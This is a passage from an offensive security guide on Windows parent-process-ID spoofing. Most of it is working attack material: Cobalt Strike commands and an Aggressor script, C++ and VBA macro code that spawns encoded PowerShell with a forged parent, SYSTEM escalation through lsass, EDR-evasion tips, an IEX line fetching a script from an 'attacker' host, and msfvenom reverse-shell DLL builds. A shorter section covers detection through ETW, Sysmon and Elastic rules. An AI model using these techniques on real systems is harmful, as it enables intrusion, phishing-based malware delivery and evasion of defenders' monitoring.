11.1 Cobalt Strike Beacon Commands
# In Beacon console:
# Set PPID for all post-ex child processes
ppid <pid> # Spoof a specific PID as parent
ppid # Reset to default (no spoofing)
# Set the binary used for spawning post-ex jobs
spawnto x64 %windir%\sysnative\dllhost.exe # 64-bit jobs use dllhost
spawnto x86 %windir%\syswow64\dllhost.exe # 32-bit jobs use dllhost
# Session prepping workflow (before doing any post-ex):
# 1. Find a good parent PID
ps # List processes
ppid [explorer_pid] # Set fake parent
spawnto x64 %windir%\sysnative\svchost.exe # Jobs look like svchost
# 2. Use spawnu for a new beacon under spoofed PID context
spawnu [pid] [listener] # Spawn session with spoofed PID's security context
# 3. runu — run a command under spoofed PID
runu [pid] notepad.exe # Runs notepad under that PID's identity
# BlockDLLs — block non-Microsoft DLLs from loading in child processes
# (Prevents EDR from injecting into our post-ex processes)
blockdlls start # Enable for new child processes
blockdlls stop # Disable
11.2 Malleable C2 Profile — Auto PPID Spoof
# malleable_c2_ppid.profile
# Set default PPID spoof in Malleable C2 profile
post-ex {
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
# PPID spoofing can be set per-beacon via the ppid command
# Profile sets the spawnto binary; operator sets ppid manually
}
11.3 Aggressor Script — Automatic PPID Setup
# auto_ppid.cna — Aggressor script to auto-set PPID on new beacon callback
on beacon_initial {
local('$bid $pid');
$bid = $1;
# Get PID of explorer.exe from the beacon's process list
blog($bid, "Setting up PPID spoof...");
bps($bid, lambda({
foreach $entry ($1) {
if ($entry['name'] eq "explorer.exe") {
$pid = $entry['pid'];
bppid($bid, $pid); # Set PPID to explorer.exe
blog($bid, "PPID spoofed to explorer.exe (PID: $pid)");
break;
}
}
}));
}
12. Technique 8 — BlockDLLs + PPID Spoofing (NtCreateUserProcess)
What it does: Combines PPID spoofing with BlockDLLs — a policy that prevents non-Microsoft-signed DLLs from loading into child processes. This stops EDR DLL injection, which is how many EDRs monitor processes.
[API] Uses PS_ATTRIBUTE_MITIGATION_OPTIONS in the NtCreateUserProcess attribute list alongside the parent process attribute.
12.1 BlockDLLs Policy via NtCreateUserProcess
// ppid_blockdlls.cpp — PPID spoof + BlockDLLs via NtCreateUserProcess
// Based on: https://offensivedefence.co.uk/posts/nt-create-user-process/
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
// Mitigation flags:
// PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
// Value that works: 0x100000000000 (bit 44)
// Combined with EXTENDED_STARTUPINFO: use PS_ATTRIBUTE_MITIGATION_OPTIONS
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON \
0x100000000000ULL
int main() {
UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, L"\\??\\C:\\Windows\\System32\\cmd.exe");
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(
&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
RTL_USER_PROCESS_PARAMETERS_NORMALIZED
);
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
// ─── Attribute list: 3 attributes (image name + PPID + BlockDLLs)
DWORD attrCount = 3;
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(
RtlProcessHeap(), HEAP_ZERO_MEMORY,
sizeof(PS_ATTRIBUTE_LIST) + (attrCount - 1) * sizeof(PS_ATTRIBUTE)
);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) +
(attrCount - 1) * sizeof(PS_ATTRIBUTE);
// Attribute 0: Image name
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
// Attribute 1: Parent process (PPID spoof)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPPID);
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].Value = (ULONG_PTR)hParent;
// Attribute 2: Mitigation options (BlockDLLs)
DWORD64 mitigationPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS;
AttributeList->Attributes[2].Size = sizeof(DWORD64);
AttributeList->Attributes[2].Value = (ULONG_PTR)&mitigationPolicy;
// ─── Create the process
HANDLE hProcess, hThread;
NTSTATUS status = NtCreateUserProcess(
&hProcess, &hThread,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
NULL, NULL, 0, 0,
ProcessParameters, &CreateInfo, AttributeList
);
if (NT_SUCCESS(status))
printf("[+] cmd.exe spawned with PPID spoof + BlockDLLs!\n");
else
printf("[-] Failed: 0x%08X\n", status);
return 0;
}
13. Technique 9 — VBA Macro PPID Spoofing (Office Documents)
What it does: Embeds PPID spoofing inside a malicious Office macro (Word/Excel). When the victim opens the document and enables macros, the payload spawns with a fake parent (e.g., explorer.exe) instead of the obvious Office process.
Without spoofing:
winword.exe → powershell.exe ← Classic Office macro IOC, blocked by most EDRs
With spoofing:
winword.exe (creates process but...)
explorer.exe → powershell.exe ← Looks like a user launched PowerShell normally
13.1 VBA Macro PPID Spoof (via Shell + API calls)
' VBA Macro — PPID Spoof via CreateProcess + STARTUPINFOEX
' Office document payload — use with caution in authorized engagements only
Private Declare PtrSafe Function OpenProcess Lib "kernel32" ( _
ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As LongPtr
Private Declare PtrSafe Function CreateProcessW Lib "kernel32" ( _
ByVal lpApplicationName As LongPtr, _
ByVal lpCommandLine As String, _
ByVal lpProcessAttributes As LongPtr, _
ByVal lpThreadAttributes As LongPtr, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As LongPtr, _
ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFOEX, _
lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32" ( _
ByVal lpAttributeList As LongPtr, _
ByVal dwAttributeCount As Long, _
ByVal dwFlags As Long, _
lpSize As LongPtr) As Long
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32" ( _
ByVal lpAttributeList As LongPtr, _
ByVal dwFlags As Long, _
ByVal Attribute As LongPtr, _
lpValue As LongPtr, _
ByVal cbSize As LongPtr, _
ByVal lpPreviousValue As LongPtr, _
ByVal lpReturnSize As LongPtr) As Long
Private Type STARTUPINFOEX
StartupInfo(0 To 103) As Byte ' STARTUPINFO struct (104 bytes x64)
lpAttrList As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Const PROCESS_CREATE_PROCESS As Long = &H80
Const EXTENDED_STARTUPINFO_PRESENT As Long = &H80000
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS As LongPtr = &H20000
Sub SpawnWithSpoofedParent()
Dim hParent As LongPtr
Dim si As STARTUPINFOEX
Dim pi As PROCESS_INFORMATION
Dim attrSize As LongPtr
Dim attrList As LongPtr
Dim parentPID As Long
' Find explorer.exe PID using WMI
Dim objWMI As Object
Set objWMI = GetObject("winmgmts:\\.\root\cimv2")
Dim colProc As Object
Set colProc = objWMI.ExecQuery("SELECT ProcessId FROM Win32_Process WHERE Name = 'explorer.exe'")
Dim proc As Object
For Each proc In colProc
parentPID = proc.ProcessId
Exit For
Next
' Open explorer.exe handle
hParent = OpenProcess(PROCESS_CREATE_PROCESS, 0, parentPID)
If hParent = 0 Then Exit Sub
' Allocate and init attribute list
InitializeProcThreadAttributeList 0, 1, 0, attrSize
attrList = VirtualAlloc(0, attrSize, &H3000, &H4)
InitializeProcThreadAttributeList attrList, 1, 0, attrSize
UpdateProcThreadAttribute attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, _
hParent, 8, 0, 0
si.lpAttrList = attrList
' Spawn powershell (claims explorer.exe as parent)
Dim cmd As String
cmd = "powershell.exe -enc <Base64EncodedPayload>"
CreateProcessW 0, cmd, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi
End Sub
[OPSEC] VBA Declare PtrSafe API calls are heavily scrutinized by modern EDRs and AV. Consider using Excel4 macros (XLM), DCOM objects, or VBA + PowerShell AMSI bypass for better evasion. Using WMI for PID lookup avoids TlHelp32 snapshot calls that some EDRs flag.
14. Tool Reference — SelectMyParent, PPID-Spoof, psgetsys
[TOOL] Complete toolkit for PPID spoofing in red team engagements:
14.1 SelectMyParent (Didier Stevens)
# Original C++ PoC — the one that started it all (2009)
# https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
# Usage:
SelectMyParent.exe <program_to_launch> <PPID_to_spoof>
# Examples:
SelectMyParent.exe cmd.exe 1234 # Launch cmd.exe with PID 1234 as parent
SelectMyParent.exe notepad.exe 5678 # Launch notepad with PID 5678 as parent
# Get SYSTEM shell (as admin, point to lsass PID):
tasklist | findstr lsass
SelectMyParent.exe cmd.exe <lsass_pid>
whoami # → NT AUTHORITY\SYSTEM
14.2 PPID-Spoof (F-Secure/WithSecure / In Ming Loh)
# https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1
Import-Module .\PPID-Spoof.ps1
# Syntax:
# PPID-Spoof -ppid <PID> -spawnto <path_to_child_exe> -dllpath <path_to_dll>
# Example 1: DLL injection under explorer.exe (C2 DLL)
$ppid = (Get-Process explorer).Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\notepad.exe" -dllpath ".\beacon.dll"
# Example 2: Blend with PowerShell traffic
$ppid = (Get-Process powershell).Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\mstsc.exe" -dllpath ".\payload.dll"
# Example 3: SYSTEM via LSASS (requires admin)
$ppid = (Get-Process lsass).Id
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\lsass.exe" -dllpath ".\payload.dll"
14.3 psgetsys.ps1 (Privilege Escalation)
# https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1
# Specifically for PPID-based privilege escalation to SYSTEM
Import-Module .\psgetsys.ps1
# Usage: [MyProcess]::CreateProcessFromParent(<lsass_pid>, <command>, "")
$lsassPID = (Get-Process lsass).Id
[MyProcess]::CreateProcessFromParent($lsassPID, "C:\Windows\System32\cmd.exe", "")
# Spawns cmd.exe with SYSTEM token
14.4 Atomic Red Team Tests (T1134.004)
# From: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.004/
# Test 1 — PowerShell PPID Spoof (Cobalt Strike replica)
$ppid = Get-Process -Name "explorer" | Select-Object -expand id
PPID-Spoof -ppid $ppid -spawnto "C:\Program Files\Internet Explorer\iexplore.exe" -dllpath calc.dll
# Test 2 — Spawn from current process
Start-Process -FilePath "cmd.exe" -WindowStyle Hidden
# Test 4 — Spawn from svchost
$ppid = Get-Process -Name "svchost" | Select-Object -expand id | Select-Object -first 1
PPID-Spoof -ppid $ppid -spawnto "C:\Windows\System32\cmd.exe"
15. OPSEC — Choosing the Right Parent Process
[OPSEC] The effectiveness of PPID spoofing depends heavily on choosing a believable parent. A bad parent choice is a detection opportunity.
15.1 Decision Tree — Which Process to Spoof?
Goal: What should my child process appear to be doing?
├─ Spawning a user-interactive process (cmd, notepad, calc, mstsc)?
│ └─ Use: explorer.exe (PID varies — always running, desktop parent)
│
├─ Spawning something that looks like a service?
│ └─ Use: svchost.exe (many instances — high noise floor, good cover)
│ OR services.exe (service control manager)
│
├─ Spawning a scheduled task lookalike?
│ └─ Use: taskhostw.exe or svchost.exe -k Schedule
│
├─ Spawning a network-related process?
│ └─ Use: svchost.exe -k NetworkService or RuntimeBroker.exe
│
├─ Need SYSTEM token (privilege escalation)?
│ └─ Use: lsass.exe (admin required + SeDebugPrivilege)
│ OR winlogon.exe (SYSTEM, less alarming)
│ OR services.exe (SYSTEM, very quiet)
│
└─ Blend with browser activity?
└─ Use: chrome.exe / msedge.exe (if installed and running)
15.2 Parent Legitimacy Table
| Fake Parent | Runs As | Common Children | Suspicion if you spawn... | Notes |
|---|---|---|---|---|
explorer.exe |
User | notepad, cmd, calc | Nothing (expected) | Best general-purpose |
svchost.exe |
SYSTEM/Local Svc | WerFault, conhost | Most things (expected) | Use specific svchost instance |
services.exe |
SYSTEM | svchost only! | Anything else | Unusual for interactive proc |
lsass.exe |
SYSTEM | None normally | Anything | VERY suspicious — high alert |
winlogon.exe |
SYSTEM | LogonUI, userinit | Anything else | Less monitored than lsass |
taskhostw.exe |
User/SYSTEM | COM surrogates | Shells (suspicious) | Moderate detection |
RuntimeBroker.exe |
User | UWP processes | Win32 processes | Reasonable cover for UWP context |
dllhost.exe |
User | COM objects | Shells | CS default spawnto — now flagged |
15.3 What NOT to Spoof
[OPSEC FAILURES — Do NOT use these as fake parents for shells/C2:]
× lsass.exe — Any detection rule flags process-creation from lsass
× csrss.exe — Opening handle to csrss is a direct BSoD or protection violation
× smss.exe — Session manager — almost nothing should spawn from here
× System (PID 4) — Kernel process, nothing should spawn from here
× antimalware/AV processes — Opening handles to these is immediately flagged
16. Detection & Evasion
16.1 How PPID Spoofing is Detected
[DETECT] Multiple detection layers — from shallow to deep:
Detection Layer 1 — SHALLOW (Sysmon Event ID 1):
├─ Logs ParentProcessId field
├─ Shows the SPOOFED parent (the one we chose)
├─ Detection rules based ONLY on this = BYPASSED by PPID spoofing
└─ "ParentImage = powershell.exe → cmd.exe" rule? → We show explorer.exe → BYPASS
Detection Layer 2 — MEDIUM (Windows Security Event 4688):
├─ Creator Process ID = actual creator (e.g., malware.exe PID)
├─ ParentProcessId = spoofed PID (e.g., explorer.exe PID)
├─ MISMATCH between these two = indicator of PPID spoofing
└─ Rule: if 4688.CreatorPID != 4688.ParentPID → ALERT
Detection Layer 3 — DEEP (ETW — Microsoft-Windows-Kernel-Process):
├─ Records both: EventHeader.ProcessID (real creator) AND ParentProcessID (spoofed)
├─ If ParentProcessId != Execution Process ID → PPID spoofing detected
└─ This is immune to user-mode tricks — sourced from kernel
Detection Layer 4 — KERNEL (PsSetCreateProcessNotifyRoutine):
├─ EDR kernel callback receives: ParentProcess (spoofed) AND CreatingProcess (real)
├─ True parent sourced from kernel process tree — immune to user-mode spoofing
└─ High-end EDRs (CrowdStrike, SentinelOne) use this — PPID spoof rarely bypasses
16.2 ETW Detection — Logman + Event Viewer
# Create ETW trace session for PPID spoofing detection:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect
# Run your test, then stop:
logman stop ppid-detect
# Open .etl in Event Viewer:
# Event ID 1 = process start
# Check: EventHeader.ProcessId (real creator) vs ParentProcessId (claimed parent)
# If these differ → PPID spoofing confirmed
16.3 C# Real-Time ETW Detector
// ppid_detector.cs — Real-time PPID spoofing detection via ETW
// Based on: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
using Microsoft.Diagnostics.Tracing.Session;
using System.Diagnostics;
using System.Text.RegularExpressions;
namespace PPIDSpoofingDetection {
class Program {
static void Main(string[] args) {
using (var session = new TraceEventSession("ppid-detector")) {
// Ctrl+C to stop
Console.CancelKeyPress += delegate { session.Dispose(); };
// Subscribe to Microsoft-Windows-Kernel-Process (0x10 = process events)
session.EnableProvider("Microsoft-Windows-Kernel-Process",
Microsoft.Diagnostics.Tracing.TraceEventLevel.Always, 0x10);
session.Source.Dynamic.All += e => {
// Process start event
if (e.OpcodeName == "Start" &&
!Regex.IsMatch(e.FormattedMessage.ToLower(), "werfault")) {
string[] parts = e.FormattedMessage
.Replace(",", "").Split(' ');
int PID = int.Parse(parts[1]); // New process PID
int PPID = int.Parse(parts[10]); // Claimed parent PID
int realCreator = e.ProcessID; // Actual creating process
// Key check: if claimed parent != real creator → spoofing!
if (PPID != realCreator) {
string procName = "";
try { procName = Process.GetProcessById(PID).ProcessName; }
catch { procName = "UNKNOWN"; }
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(
$"[!] PPID SPOOF DETECTED at {e.TimeStamp}\n" +
$" Process: {procName} (PID={PID})\n" +
$" Claimed PPID: {PPID}\n" +
$" Real creator: {realCreator}"
);
Console.ResetColor();
}
}
};
session.Source.Process(); // Blocking — processes events until stopped
}
}
}
}
16.4 Sysmon Config — PPID Anomaly Detection
<!-- sysmon_ppid_rules.xml — Sysmon config for PPID anomaly detection -->
<!-- Sysmon Event ID 1 logs ParentImage — rules trigger on abnormal parent/child -->
<Sysmon schemaversion="4.82">
<EventFiltering>
<RuleGroup groupRelation="or">
<ProcessCreate onmatch="include">
<!-- Office applications spawning shells (classic phishing IOC) -->
<Rule groupRelation="and">
<ParentImage condition="contains any">winword.exe;excel.exe;powerpnt.exe;outlook.exe</ParentImage>
<Image condition="contains any">cmd.exe;powershell.exe;wscript.exe;cscript.exe;mshta.exe;regsvr32.exe</Image>
</Rule>
<!-- PowerShell spawned by unusual parents -->
<Rule groupRelation="and">
<Image condition="end with">powershell.exe</Image>
<ParentImage condition="contains any">
notepad.exe;mspaint.exe;calc.exe;explorer.exe
</ParentImage>
<!-- Note: explorer spawning PS is normal for interactive use,
but combined with unusual CommandLine it's a signal -->
</Rule>
<!-- cmd.exe from services.exe or lsass.exe (very suspicious) -->
<Rule groupRelation="and">
<Image condition="end with">cmd.exe</Image>
<ParentImage condition="contains any">lsass.exe</ParentImage>
</Rule>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
[DETECT] Sysmon's Event ID 1 logs the spoofed parent — so PPID-spoof-aware attackers defeat these rules. Combine Sysmon with ETW-based detection for the full picture.
16.5 Elastic Detection Rule — PPID Mismatch
# Elastic Security prebuilt rule for PPID Spoofing
# Reference: https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/defense_evasion_parent_process_pid_spoofing
name: "Suspicious Parent-Child Process Relationship (PPID Spoof)"
type: eql
severity: high
risk_score: 73
query: |
process where host.os.type == "windows" and event.type == "start" and
(
/* Process whose actual creator differs from claimed parent */
process.Ext.real.ppid != null and
process.Ext.real.ppid != process.parent.pid
)
/* OR: known bad patterns that PPID spoof is used to hide */
or
(
process.name : ("cmd.exe", "powershell.exe", "wscript.exe") and
process.parent.name : ("lsass.exe", "svchost.exe") and
not process.parent.args : ("-k", "*NetworkService*")
)
16.6 Evasion Tips for Red Teams
[EVASION] How to improve PPID spoofing OPSEC:
1. Choose believable parent-child pairs
✓ explorer.exe → notepad.exe (normal user activity)
✗ lsass.exe → cmd.exe (immediate alert — lsass never spawns interactive shells)
2. Combine with BlockDLLs
→ Prevents EDR DLL injection into your post-ex processes
→ EDR can't monitor what it can't inject into
3. Combine with NtCreateUserProcess + direct syscalls
→ Bypasses userland hooks on CreateProcess
→ EDR has to rely on kernel callbacks (harder to evade but harder to hook precisely)
4. Pair with call stack spoofing
→ Direct syscalls leave "unbacked" return addresses in the call stack
→ Stack spoofers (like Draugr, AceLdr) forge legitimate-looking stacks
5. Use ETW-TI blind spot timing
→ ETW-TI (Threat Intelligence) is the kernel-level ETW used by ESET, etc.
→ Has timing windows during process creation — advanced but real attack surface
6. Blend command line arguments
→ Spawning cmd.exe with suspicious args negates the parent spoof
→ Use legitimate-looking args or encode/encrypt
7. Avoid MAXIMUM_ALLOWED for OpenProcess
→ Use the minimum needed: PROCESS_CREATE_PROCESS
→ Broader access rights on sensitive processes = EDR alert
17. Comparison Matrix
| Technique | Complexity | Requires Admin | Privilege Gain | Detection Risk | Tool Dependency |
|---|---|---|---|---|---|
| Classic PPID Spoof (C++) | Low | No | No | Medium (ETW catches it) | None |
| Dynamic PID Lookup | Low | No | No | Medium | None |
| PowerShell PPID-Spoof | Low | No (user) | No | High (PS logging) | PPID-Spoof.ps1 |
| NtCreateUserProcess | High | No | No | Medium-Low | ntdll.h / PHNT |
| Direct Syscall PPID | Very High | No | No | Low | SysWhispers2/3 |
| PPID → LSASS (SYSTEM) | Medium | YES | SYSTEM | Very High | None / SelectMyParent |
| PPID + DLL Injection | High | No | No | High (RWX mem) | None |
| Cobalt Strike ppid | Low (if beacon) | No | No | Medium | Cobalt Strike |
| BlockDLLs + NtCreate | Very High | No | No | Low | ntdll.h |
| VBA Macro | Medium | No | No | High (AMSI/WDAC) | Office |
| SelectMyParent | Very Low | No/Yes | Depends | High (binary on disk) | SelectMyParent.exe |
18. Cheat Sheet
Quick Enumeration — Find Good Parent PIDs
# PowerShell — enumerate all processes with PIDs (good parent candidates)
Get-Process | Select-Object Name, Id, CPU, WorkingSet |
Where-Object {$_.Name -in @("explorer","svchost","services","lsass","winlogon","taskhostw")} |
Format-Table -AutoSize
# Find specific process PID:
(Get-Process -Name "explorer").Id
(Get-Process -Name "svchost" | Select-Object -First 1).Id
(Get-Process -Name "lsass").Id # Needs admin to use for spoofing
rem CMD — classic enumeration
tasklist | findstr explorer
tasklist | findstr svchost
tasklist | findstr lsass
wmic process where "name='explorer.exe'" get ProcessId
API Quick Reference
PPID Spoof Required API calls (in order):
1. OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetPID)
2. InitializeProcThreadAttributeList(NULL, 1, 0, &size) ← get size
HeapAlloc(GetProcessHeap(), 0, size) ← alloc buffer
InitializeProcThreadAttributeList(buffer, 1, 0, &size) ← initialize
3. UpdateProcThreadAttribute(buffer, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL)
4. si.StartupInfo.cb = sizeof(STARTUPINFOEXA)
si.lpAttributeList = buffer
5. CreateProcessA(NULL, "child.exe", ..., EXTENDED_STARTUPINFO_PRESENT, ..., &si.StartupInfo, &pi)
6. DeleteProcThreadAttributeList(buffer) + HeapFree + CloseHandle(s)
Flag Reference
// CreateProcess dwCreationFlags for PPID spoofing:
EXTENDED_STARTUPINFO_PRESENT = 0x00080000 // REQUIRED — reads attribute list
CREATE_SUSPENDED = 0x00000004 // Spawn paused (for injection before run)
CREATE_NEW_CONSOLE = 0x00000010 // New console window
CREATE_NO_WINDOW = 0x08000000 // No window (stealthy)
// Common combinations:
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE // Interactive shell
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED // Inject before resume
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW // Stealthy background process
// OpenProcess access rights:
PROCESS_CREATE_PROCESS = 0x0080 // Minimum for PPID spoof
PROCESS_ALL_ACCESS = 0x1F0FFF // Maximum — noisy
MAXIMUM_ALLOWED = 0x02000000 // Asks for max allowed — medium noise
One-Liners / Fast Scripts
# PowerShell — Quick PID of a process
(Get-Process -Name "explorer").Id
# Import PPID-Spoof and fire:
IEX (New-Object Net.WebClient).DownloadString('http://attacker/PPID-Spoof.ps1')
$pid = (Get-Process explorer).Id
PPID-Spoof -ppid $pid -spawnto "C:\Windows\System32\notepad.exe" -dllpath C:\payload.dll
# Atomic Test 1 — PowerShell replication of Cobalt Strike PPID spoof:
$ppid = Get-Process explorer | select -expand id
PPID-Spoof -ppid $ppid -spawnto "C:\Program Files\Internet Explorer\iexplore.exe" -dllpath calc.dll
# Generate C2 DLL payload for PPID-Spoof injection:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f dll -o beacon.dll
# Generate reverse shell DLL:
msfvenom -p windows/x64/shell_reverse_tcp \
exitfunc=thread LHOST=192.168.1.100 LPORT=4444 \
-f dll -o shell.dll
Detection Quick Commands
# Start ETW trace for PPID spoofing detection:
logman create trace ppid-detect -p Microsoft-Windows-Kernel-Process 0x10 -ets
logman start ppid-detect
# Stop and view:
logman stop ppid-detect
# Open C:\ppid-detect.etl in Windows Event Viewer
# Look at Event ID 1 — compare EventHeader.ProcessId vs ParentProcessId
# Sysmon — check process creation with parent info:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object {$_.Id -eq 1} |
Select-Object -Property TimeCreated, Message |
Format-List
# PowerShell — watch for PPID mismatches (admin/SeDebugPrivilege):
Get-WinEvent -LogName Security |
Where-Object {$_.Id -eq 4688} |
Select-Object -Property TimeCreated, Message
# Compare "Creator Process ID" vs "Parent Process ID" fields
Useful Parent/Child Legitimate Pairs Reference
Legitimate Windows parent → child relationships:
explorer.exe → notepad.exe, cmd.exe, powershell.exe, mstsc.exe
svchost.exe → WerFault.exe, conhost.exe, taskhostw.exe
services.exe → svchost.exe (only)
winlogon.exe → LogonUI.exe, userinit.exe, dwm.exe
taskhostw.exe → DllHost.exe, conhost.exe
wininit.exe → services.exe, lsass.exe, lsm.exe
userinit.exe → explorer.exe
Less common but legitimate:
mmc.exe → conhost.exe, cmd.exe (admin tools)
msiexec.exe → cmd.exe, powershell.exe (installers)
wscript.exe / cscript.exe → cmd.exe (script-triggered installs)
References & Tools
Primary Tools: - SelectMyParent — https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ - PPID-Spoof (F-Secure/WithSecure) — https://github.com/countercept/ppid-spoofing - psgetsys / psgetsystem — https://github.com/decoder-it/psgetsystem - Atomic Red Team T1134.004 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1134.004/T1134.004.md
Research & References: - ired.team PPID Spoofing — https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing - Offensive Defence — PPID + BlockDLLs via NtCreateUserProcess — https://offensivedefence.co.uk/posts/nt-create-user-process/ - MITRE ATT&CK T1134.004 — https://attack.mitre.org/techniques/T1134/004/ - Pentestlab PPID Spoofing — https://pentestlab.blog/2020/02/24/parent-pid-spoofing/ - HackersTerminal — PPID Spoofing Detection with ETW — https://hackersterminal.com/parent-pid-spoofing-detection-etw/ - Bordergate — PPID Internals — https://www.bordergate.co.uk/parent-process-id-spoofing/
EDR Detection Resources: - Elastic Prebuilt Rule — https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/defense_evasion_parent_process_pid_spoofing - MITRE Detection Strategy DET0489 — https://attack.mitre.org/detectionstrategies/DET0489/ - Startupdefense PPID Detection Guide — https://www.startupdefense.io/mitre-attack-techniques/t1134-004-parent-pid-spoofing
Advanced: - SysWhispers2/3 (Direct Syscalls) — https://github.com/jthuraisamy/SysWhispers2 - BOF_Spawn (PPID + BlockDLLs BOF) — https://github.com/rvrsh3ll/BOF_Spawn - PHNT (NT API headers) — https://github.com/processhacker/phnt